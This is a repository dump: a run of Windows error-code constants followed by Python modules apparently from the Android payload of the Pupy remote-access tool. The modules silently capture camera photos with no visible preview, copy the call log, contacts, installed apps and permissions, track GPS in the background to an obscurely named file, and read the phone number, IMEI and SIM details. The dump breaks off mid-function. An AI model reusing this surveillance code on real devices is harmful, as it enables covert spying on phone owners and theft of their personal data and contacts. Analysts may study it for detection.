ERROR_DS_DRA_PREEMPTED = 8461
ERROR_DS_DRA_ABANDON_SYNC = 8462
ERROR_DS_DRA_SHUTDOWN = 8463
ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464
ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465
ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466
ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467
ERROR_DS_DUP_LINK_ID = 8468
ERROR_DS_NAME_ERROR_RESOLVING = 8469
ERROR_DS_NAME_ERROR_NOT_FOUND = 8470
ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471
ERROR_DS_NAME_ERROR_NO_MAPPING = 8472
ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473
ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474
ERROR_DS_CONSTRUCTED_ATT_MOD = 8475
ERROR_DS_WRONG_OM_OBJ_CLASS = 8476
ERROR_DS_DRA_REPL_PENDING = 8477
ERROR_DS_DS_REQUIRED = 8478
ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479
ERROR_DS_NON_BASE_SEARCH = 8480
ERROR_DS_CANT_RETRIEVE_ATTS = 8481
ERROR_DS_BACKLINK_WITHOUT_LINK = 8482
ERROR_DS_EPOCH_MISMATCH = 8483
ERROR_DS_SRC_NAME_MISMATCH = 8484
ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485
ERROR_DS_DST_NC_MISMATCH = 8486
ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487
ERROR_DS_SRC_GUID_MISMATCH = 8488
ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489
ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490
ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491
ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492
ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493
ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495
ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496
ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497
ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498
ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499
ERROR_DS_INVALID_SEARCH_FLAG = 8500
ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501
ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502
ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503
ERROR_DS_SAM_INIT_FAILURE = 8504
ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505
ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506
ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507
ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508
ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509
ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510
ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511
ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512
ERROR_DS_INVALID_GROUP_TYPE = 8513
ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514
ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515
ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516
ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517
ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518
ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519
ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520
ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521
ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522
ERROR_DS_NAMING_MASTER_GC = 8523
ERROR_DS_DNS_LOOKUP_FAILURE = 8524
ERROR_DS_COULDNT_UPDATE_SPNS = 8525
ERROR_DS_CANT_RETRIEVE_SD = 8526
ERROR_DS_KEY_NOT_UNIQUE = 8527
ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528
ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529
ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530
ERROR_DS_CANT_START = 8531
ERROR_DS_INIT_FAILURE = 8532
ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533
ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534
ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535
ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536
ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537
ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538
ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539
ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540
ERROR_SAM_INIT_FAILURE = 8541
ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542
ERROR_DS_DRA_SCHEMA_CONFLICT = 8543
ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544
ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545
ERROR_DS_NC_STILL_HAS_DSAS = 8546
ERROR_DS_GC_REQUIRED = 8547
ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548
ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549
ERROR_DS_CANT_ADD_TO_GC = 8550
ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551
ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552
ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553
ERROR_DS_INVALID_NAME_FOR_SPN = 8554
ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555
ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556
ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557
ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558
ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559
ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560
ERROR_DS_INIT_FAILURE_CONSOLE = 8561
ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562
ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563
ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564
ERROR_DS_FOREST_VERSION_TOO_LOW = 8565
ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566
ERROR_DS_INCOMPATIBLE_VERSION = 8567
ERROR_DS_LOW_DSA_VERSION = 8568
ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569
ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570
ERROR_DS_NAME_NOT_UNIQUE = 8571
ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572
ERROR_DS_OUT_OF_VERSION_STORE = 8573
ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574
ERROR_DS_NO_REF_DOMAIN = 8575
ERROR_DS_RESERVED_LINK_ID = 8576
ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577
ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578
ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579
ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580
ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581
ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582
ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583
ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584
ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585
ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586
ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587
ERROR_DS_NOT_CLOSEST = 8588
ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589
ERROR_DS_SINGLE_USER_MODE_FAILED = 8590
ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591
ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592
ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593
ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594
ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595
ERROR_DS_NO_MSDS_INTID = 8596
ERROR_DS_DUP_MSDS_INTID = 8597
ERROR_DS_EXISTS_IN_RDNATTID = 8598
ERROR_DS_AUTHORIZATION_FAILED = 8599
ERROR_DS_INVALID_SCRIPT = 8600
ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601
ERROR_DS_CROSS_REF_BUSY = 8602
ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603
ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604
ERROR_DS_DUPLICATE_ID_FOUND = 8605
ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606
ERROR_DS_GROUP_CONVERSION_ERROR = 8607
ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608
ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609
ERROR_DS_ROLE_NOT_VERIFIED = 8610
ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611
ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612
ERROR_DS_EXISTING_AD_CHILD_NC = 8613
ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614
ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615
ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616
ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617

# Common dialog box error codes from cderr.h
CDERR_DIALOGFAILURE = 65535
CDERR_GENERALCODES = 0
CDERR_STRUCTSIZE = 1
CDERR_INITIALIZATION = 2
CDERR_NOTEMPLATE = 3
CDERR_NOHINSTANCE = 4
CDERR_LOADSTRFAILURE = 5
CDERR_FINDRESFAILURE = 6
CDERR_LOADRESFAILURE = 7
CDERR_LOCKRESFAILURE = 8
CDERR_MEMALLOCFAILURE = 9
CDERR_MEMLOCKFAILURE = 10
CDERR_NOHOOK = 11
CDERR_REGISTERMSGFAIL = 12
PDERR_PRINTERCODES = 4096
PDERR_SETUPFAILURE = 4097
PDERR_PARSEFAILURE = 4098
PDERR_RETDEFFAILURE = 4099
PDERR_LOADDRVFAILURE = 4100
PDERR_GETDEVMODEFAIL = 4101
PDERR_INITFAILURE = 4102
PDERR_NODEVICES = 4103
PDERR_NODEFAULTPRN = 4104
PDERR_DNDMMISMATCH = 4105
PDERR_CREATEICFAILURE = 4106
PDERR_PRINTERNOTFOUND = 4107
PDERR_DEFAULTDIFFERENT = 4108
CFERR_CHOOSEFONTCODES = 8192
CFERR_NOFONTS = 8193
CFERR_MAXLESSTHANMIN = 8194
FNERR_FILENAMECODES = 12288
FNERR_SUBCLASSFAILURE = 12289
FNERR_INVALIDFILENAME = 12290
FNERR_BUFFERTOOSMALL = 12291
FRERR_FINDREPLACECODES = 16384
FRERR_BUFFERLENGTHZERO = 16385
CCERR_CHOOSECOLORCODES = 20480


================================================
FILE: pupy/packages/android/pupydroid/__init__.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = [
    'camera', 'text_to_speech', 'vibrator'
]

from . import camera
from . import text_to_speech
from . import vibrator


================================================
FILE: pupy/packages/android/pupydroid/apps.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
#Author: @bobsecq
#Contributor(s):

from jnius import autoclass, cast

def getAllAps():
    '''
    Returns all applications installed [{'packageName':packageName, 'sourceDir':sourceDirectory}, etc]
    '''
    infos = []
    pythonService = autoclass("org.renpy.android.PythonService")
    PackageManager= autoclass("android.content.pm.PackageManager")
    activity = cast("android.app.Service", pythonService.mService)
    pm = activity.getPackageManager()
    packages = pm.getInstalledApplications(PackageManager.GET_META_DATA)
    for appNb in range(packages.size()):
        appInfo = packages.get(appNb)
        packageName = appInfo.packageName
        sourceDir = appInfo.sourceDir
        dataDir  = appInfo.dataDir
        processName = appInfo.processName
        publicSourceDir = appInfo.publicSourceDir
        sharedLibraryFiles = appInfo.sharedLibraryFiles
        packagePerms = pm.getPackageInfo(appInfo.packageName, PackageManager.GET_PERMISSIONS)
        requestedPermissions = packagePerms.requestedPermissions
        permissions = []
        if requestedPermissions is not None:
            for i in range(len(requestedPermissions)):
                permissions.append(requestedPermissions[i])
        infos.append({"packageName":packageName,
            "sourceDir":sourceDir,
            "dataDir":dataDir,
            "processName":processName,
            "publicSourceDir":publicSourceDir,
            "sharedLibraryFiles":sharedLibraryFiles,
            "permissions":permissions,
            })
    return infos


================================================
FILE: pupy/packages/android/pupydroid/call.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from jnius import autoclass

def getCallDetails():
    '''
    '''
    calls = []
    Calls = autoclass('android.provider.CallLog$Calls')
    PythonActivity = autoclass('org.renpy.android.PythonService')
    cursor = PythonActivity.mService.getContentResolver().query(Calls.CONTENT_URI, None, None, None, Calls.DATE+" DESC")
    callsCount = cursor.getCount()
    if callsCount > 0:
        while cursor.moveToNext():
            phNum = cursor.getString(cursor.getColumnIndex(Calls.NUMBER))
            callTypeCode = cursor.getString(cursor.getColumnIndex(Calls.TYPE))
            callDate = cursor.getString(cursor.getColumnIndex(Calls.DATE))
            callDuration = cursor.getString(cursor.getColumnIndex(Calls.DURATION))
            calls.append({'phNum':phNum,'callTypeC':callTypeCode,'callDate':callDate, 'callDuration':callDuration})
    cursor.close()
    return calls


================================================
FILE: pupy/packages/android/pupydroid/camera.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from jnius import autoclass, PythonJavaClass, java_method
from threading import Event

__all__=["take_picture"]

class PictureCallback(PythonJavaClass):
    __javainterfaces__ = ['android/hardware/Camera$PictureCallback']

    def __init__(self, event):
        PythonJavaClass.__init__(self)
        self.result=None
        self.event=event

    @java_method("([BLandroid/hardware/Camera;)V")
    def onPictureTaken(self, data, camera):
        self.result=data.tostring()
        self.event.set()

def numberOfCameras():
    try:
        Camera=autoclass("android.hardware.Camera")
        return Camera.getNumberOfCameras()
    except:
        return "?"

#ref: http://developer.android.com/reference/android/hardware/Camera.html
def take_picture(cam_id=0, jpegQuality=90):
    Camera=autoclass("android.hardware.Camera")
    c = Camera.open(cam_id)
    try:
        params = Camera.getParameters()
        params.setJpegQuality(jpegQuality)
        Camera.setParameters(params)
        SurfaceTexture=autoclass("android.graphics.SurfaceTexture")
        c.setPreviewTexture(SurfaceTexture(0))
        c.startPreview()
        #view = SurfaceView(0);
        #c.setPreviewDisplay(view.getHolder());
        e=Event()
        pc=PictureCallback(e)
        c.takePicture(None, None, pc)
        e.wait()
        return pc.result
    finally:
        c.release()
        del e
        del pc
        del c


================================================
FILE: pupy/packages/android/pupydroid/contacts.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from jnius import autoclass

def getAllContacts():
    '''
    Returnd [{'id':contactId, 'name':contactName, 'phoneNbs':phoneNbs, 'emails':emails, 'postalAddresses':postalAddresses}, etc]
    With phoneNbs, emails and postalAddresses as lists of dictionaries
    '''
    allContacts = []

    Contacts = autoclass("android.provider.ContactsContract$Contacts")#ContactsContract.Contacts
    ContactsColumns = autoclass("android.provider.ContactsContract$ContactsColumns") #ContactsContract.ContactsColumns
    CommonDataKindsPhone = autoclass("android.provider.ContactsContract$CommonDataKinds$Phone")#ContactsContract.CommonDataKinds.Phone
    CommonDataKindsEmail = autoclass("android.provider.ContactsContract$CommonDataKinds$Email")#ContactsContract.CommonDataKinds.Email
    CommonDataKindsStructuredPostal = autoclass("android.provider.ContactsContract$CommonDataKinds$StructuredPostal")#ContactsContract.CommonDataKinds.StructuredPostal
    PythonActivity = autoclass('org.renpy.android.PythonService')

    cursor = PythonActivity.mService.getContentResolver().query(Contacts.CONTENT_URI, None, None, None, None)
    contactsCount = cursor.getCount()
    if contactsCount > 0:
        while cursor.moveToNext():
            contactId = cursor.getString(cursor.getColumnIndex(Contacts._ID))
            contactName = cursor.getString(cursor.getColumnIndex(ContactsColumns.DISPLAY_NAME))
            phoneNbs, phoneNbsTypes, emails, postalAddresses = [], [], [], []
            #Phone numbers
            if cursor.getInt(cursor.getColumnIndex(ContactsColumns.HAS_PHONE_NUMBER))>0:
                pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsPhone.CONTENT_URI, None, "{0} = {1}".format("contact_id", contactId), None, None)
                while pCursor.moveToNext():
                    phoneNo = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsPhone.NUMBER))
                    phoneNbs.append(phoneNo)
                    phoneNoType = pCursor.getString(pCursor.getColumnIndex('data2')) #CommonDataKindsPhone.TYPE doesn't work
                    phoneNoLabel = pCursor.getString(pCursor.getColumnIndex('data3')) #CommonDataKindsPhone.LABEL doesn't work
                    phoneNbsTypes.append(phoneNumberTypeToString(int(phoneNoType), str(phoneNoLabel)))
                pCursor.close()
            #EMAILS
            pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsEmail.CONTENT_URI, None, "{0} = {1}".format("contact_id", contactId), None, None)
            while pCursor.moveToNext():
                email = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsEmail.ADDRESS))
                emails.append(email)
            pCursor.close()
            #Postal addresses
            pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsStructuredPostal.CONTENT_URI, None, "{0} = {1}".format("contact_id", contactId), None, None)
            while pCursor.moveToNext():
                postalAddress = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsStructuredPostal.FORMATTED_ADDRESS))
                postalAddresses.append(postalAddress)
            pCursor.close()
            allContacts.append({'id':contactId, 'name':contactName, 'phoneNbs':phoneNbs, 'phoneNbsTypes':phoneNbsTypes, 'emails':emails, 'postalAddresses':postalAddresses})
        cursor.close()
    return allContacts

def phoneNumberTypeToString(phoneNumberType, label):
    '''
    '''
    CommonDataKindsPhone = autoclass("android.provider.ContactsContract$CommonDataKinds$Phone")
    if phoneNumberType == CommonDataKindsPhone.TYPE_CUSTOM:
        return CommonDataKindsPhone.label
    elif phoneNumberType == CommonDataKindsPhone.TYPE_HOME:
        return "HOME"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_MOBILE:
        return "MOBILE"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK:
        return "WORK"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_FAX_WORK:
        return "FAX_WORK"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_FAX_HOME:
        return "FAX_HOME"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_PAGER:
        return "PAGER"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_OTHER:
        return "OTHER"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_CALLBACK:
        return "CALLBACK"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_CAR:
        return "CAR"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_ISDN:
        return "ISDN"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_MAIN:
        return "MAIN"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_COMPANY_MAIN:
        return "COMPANY_MAIN"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_OTHER_FAX:
        return "OTHER_FAX"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_RADIO:
        return "RADIO"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_COMPANY_MAIN:
        return "COMPANY_MAIN"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_TELEX:
        return "TELEX"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_TTY_TDD:
        return "TYPE_TTY_TDD"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK_MOBILE:
        return "WORK_MOBILE"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK_PAGER:
        return "WORK_PAGER"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_ASSISTANT:
        return "ASSISTANT"
    elif phoneNumberType == CommonDataKindsPhone.TYPE_MMS:
        return "MMS"
    else:
        return "?"


================================================
FILE: pupy/packages/android/pupydroid/gpsTracker.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

#Author: @bobsecq
#Contributor(s):

import os
import datetime

from time import sleep
from io import open
from threading import Thread

from jnius import autoclass, cast, detach
from plyer import gps

GPSTRACKER_THREAD  = None
TRACES = []
CURRENT_LAT, CURRENT_LON = None, None


def __getLocation__(**kwargs):
    '''
    This function is called by configure for setting current GPS location in global variables
    Info: The on_location and on_status callables might be called from another thread than the thread used for creating the GPS object.
    See https://plyer.readthedocs.io/en/latest/
    '''
    global CURRENT_LAT
    global CURRENT_LON
    if kwargs is not None:
        #print "__getLocation__ old:{0},{1}".format(CURRENT_LAT, CURRENT_LON)
        CURRENT_LAT=kwargs['lat']
        CURRENT_LON=kwargs['lon']
        #print "__getLocation__ new:{0},{1}".format(kwargs['lat'], kwargs['lon'])


class GpsTracker(Thread):

    def __init__(self, period=15, inMemory=False):
        '''
        '''
        Thread.__init__(self)
        gps.configure(on_location=__getLocation__)
        self.stopFollow=False
        self.period=period
        self.inMemory=inMemory
        self.filename = "keflfjezomef.csv"
        self.Context = autoclass('android.content.Context')
        self.PythonActivity = autoclass('org.renpy.android.PythonService')
        self.LocationManager = autoclass('android.location.LocationManager')

    def enable(self):
        '''
        '''
        gps.start()

    def disable(self):
        '''
        '''
        gps.stop()

    def stop(self):
        '''
        '''
        self.stopFollow=True

    def isGPSenabled(self):
        '''
        '''
        locationManager = cast('android.location.LocationManager', self.PythonActivity.mService.getSystemService(self.Context.LOCATION_SERVICE))
        isGPSEnabled = locationManager.isProviderEnabled(self.LocationManager.GPS_PROVIDER)
        return isGPSEnabled

    def isNetworkProviderEnabled(self):
        '''
        '''
        locationManager = cast('android.location.LocationManager', self.PythonActivity.mService.getSystemService(self.Context.LOCATION_SERVICE))
        isNetworkProviderEnabled = locationManager.isProviderEnabled(self.LocationManager.NETWORK_PROVIDER)
        return isNetworkProviderEnabled

    def getCurrentLocation(self):
        '''
        '''
        global CURRENT_LAT
        global CURRENT_LON
        return CURRENT_LAT, CURRENT_LON

    def follow(self):
        global TRACES
        self.enable()
        lastLat, lastLon = None, None
        if not self.inMemory:
            if not os.path.isfile(self.filename):
                f = open(self.filename,'w')
                f.write("date,latitude,longitude\n")
                f.close()
        while not self.stopFollow:
            lat, lon = self.getCurrentLocation()
            #print "follow current:{0},{1}".format(lat, lon)
            if (lat is not None and lon is not None) and (lastLat!=lat or lastLon!=lon):
                #print "follow modified:{0},{1}".format(lat, lon)
                if not self.inMemory:
                    f = open(self.filename,'a+')
                    f.write("{0},{1},{2}\n".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M"), lat, lon))
                    f.close()
                else:
                    TRACES.append([datetime.datetime.now().strftime("%Y-%m-%d %H:%M"), lat, lon])
            lastLat, lastLon = lat, lon
            sleep(self.period)
        self.disable()
        detach() #For fixing a BUG, see https://github.com/kivy/pyjnius/issues/107

    def run(self):
        self.stopFollow=False
        self.follow()

    def isFollowing(self):
        if self.stopFollow:
            return False
        else:
            return True


def startGpsTracker(period):
    '''
    '''
    global GPSTRACKER_THREAD
    if GPSTRACKER_THREAD is None or not GPSTRACKER_THREAD.isFollowing():
        gpsTracker = GpsTracker(period=period)
        gpsTracker.start()
        GPSTRACKER_THREAD=gpsTracker
        return True
    else:
        return False

def stopGpsTracker():
    '''
    '''
    global GPSTRACKER_THREAD
    if GPSTRACKER_THREAD is None:
        return False

    if not GPSTRACKER_THREAD.isFollowing():
        return False
    else:
        GPSTRACKER_THREAD.stop()
        #print "Joining with GPS tracking thread..."
        GPSTRACKER_THREAD.join()
        #print "Thread Finished"
        return True

def dumpGpsTracker():
    '''
    When inMeory is enabled
    '''
    global TRACES
    return TRACES

def statusGpsTracker():
    '''
    '''
    global GPSTRACKER_THREAD
    if GPSTRACKER_THREAD is None:
        return False
    elif not GPSTRACKER_THREAD.isFollowing():
        return False
    else:
        return True

def deleteFile():
    '''
    '''
    if GPSTRACKER_THREAD is not None and not GPSTRACKER_THREAD.isFollowing():
        try:
            os.remove(GPSTRACKER_THREAD.filename)
        except OSError:
            return False
        return True
    else:
        return False


================================================
FILE: pupy/packages/android/pupydroid/text_to_speech.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from jnius import autoclass
import time

__all__=["speak"]

def speak(text, lang='US'):
    """ use the text to speach API to speak text out loud :-) """
    Locale = autoclass('java.util.Locale')
    PythonActivity = autoclass('org.renpy.android.PythonService')
    TextToSpeech = autoclass('android.speech.tts.TextToSpeech')
    tts = TextToSpeech(PythonActivity.mService, None)
    time.sleep(0.1) #dirty but avoid implementing TextToSpeech.OnInitListener
    try:
        if lang is not None:
            if lang in ['CANADA', 'CANADA_FRENCH', 'CHINA', 'CHINESE', 'ENGLISH', 'FRANCE', 'FRENCH', 'GERMAN', 'GERMANY', 'ITALIAN', 'ITALY', 'JAPAN', 'JAPANESE', 'KOREA', 'KOREAN', 'PRC', 'PRIVATE_USE_EXTENSION', 'ROOT', 'SIMPLIFIED_CHINESE', 'TAIWAN', 'TRADITIONAL_CHINESE', 'UK', 'UNICODE_LOCALE_EXTENSION', 'US']:
                error_codes={-1:'LANG_MISSING_DATA', -2:'LANG_NOT_SUPPORTED'}
                ret=tts.setLanguage(getattr(Locale,lang))
                if ret in error_codes:
                    raise Exception("Error in setLanguage: %s for lang: %s"%(error_codes[ret],lang))
            else:
                raise Exception("no such locale : %s"%lang)
        #ref. http://developer.android.com/reference/android/speech/tts/TextToSpeech.html
        ret=tts.speak(str(text), TextToSpeech.QUEUE_FLUSH, None)
        for i in range(0,10):
            time.sleep(0.1)
        while tts.isSpeaking():
            time.sleep(0.1)
        if ret == TextToSpeech.LANG_MISSING_DATA:
            raise Exception("Error: LANG_MISSING_DATA")
        return ret
    finally:
        tts.shutdown()


================================================
FILE: pupy/packages/android/pupydroid/utils.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from jnius import autoclass, cast

SERVICE = autoclass('org.kivy.android.PythonService').mService
CONTEXT = autoclass('android.content.Context')

def getAndroidID():
    '''
    Returns None if an error
    '''
    try:
        settingsSecure = autoclass('android.provider.Settings$Secure')
        androidId = settingsSecure.getString(SERVICE.getContentResolver(), settingsSecure.ANDROID_ID)
        return androidId
    except:
        return None

def getPhoneNumber():
    '''
    Returns None if an error
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        phoneNumber = telephonyManager.getLine1Number()
        return phoneNumber
    except:
        return None

def getDeviceId():
    '''
    Returns the unique device ID, for example, the IMEI for GSM and the MEID or ESN for CDMA phones.
    Otherwise, returns None
    Requires Permission: READ_PHONE_STATE
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        deviceId = telephonyManager.getDeviceId()
        return deviceId
    except:
        return None

def getSimCountryIso():
    '''
    Returns the ISO country code equivalent for the SIM provider's country code
    Otherwise, returns None
    Since it is the sim code it also should not change when traveling to other countries.
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        simCountryIso = telephonyManager.getSimCountryIso()
        return simCountryIso
    except:
        return None

def getNetworkCountryIso():
    '''
    Returns the ISO country code equivalent of the current registered operator's MCC (Mobile Country Code).
    Otherwise, returns None
    Availability: Only when user is registered to a network. Result may be unreliable on CDMA networks (use getPhoneType() to determine if on a CDMA network).
    See https://developer.android.com/reference/android/telephony/TelephonyManager.html#getNetworkCountryIso()
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
        networkCountryIso = telephonyManager.getNetworkCountryIso()
        return networkCountryIso
    except:
        return None

def getSimInfo():
    '''
    Returns 0 if none of voice, sms, data is not supported
    Returns 1 when there is a sim card
    Returns 2 when there is a sim card
    Returns None if an error
    --> Needs API level 23 <--
    '''
    try:
        telephonyManager = cast(
            'android.telephony.TelephonyManager',
            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))
